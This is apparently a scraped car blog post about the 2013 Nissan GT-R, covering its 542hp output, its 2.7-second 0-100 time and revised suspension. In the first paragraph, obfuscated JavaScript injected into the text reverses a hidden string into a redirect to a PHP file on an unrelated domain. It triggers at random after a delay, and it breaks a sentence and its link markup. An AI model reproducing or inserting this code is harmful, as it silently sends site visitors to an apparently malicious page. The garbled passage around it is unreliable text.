2013 Nissan GT-R. Barely Recognisable…

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Now we wouldn’t want $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-into-production-yes-really/” target=”_blank”>the new production ready Juke-R to steal all the limelight, would we?! So when we consider the ‘improved response, better stability and sharper handling’ of the new-for-2013 Nissan GT-R, clearly that means a boatload of new and improved features tucked safely under the bonnet.

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Ah…

Well so far we have the same 3.8-litre twin-turbo V6 and pretty much the same growling aesthetics (well, Hollywood discovered back in 1998 that when you change the look of Godzilla, your email inbox gets flooded VERY quickly).

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The difference? Well that would be the new 542hp figure, a full [cough] 12hp more than the MY12 GT-R. That, plus revised suspension, new injectors and reconfigured turbocharger valves (oh, and a reinforced dash panel), mean a 0-100s time a full 0.1s faster than before (that’s 2.7 seconds, just FYI).

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Apparently, if you’ve got a clear track and bracing tailwind, that should produce a balls-out run around the Nurburgring some three seconds faster than the MY12 GT-R.

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Categories: Road

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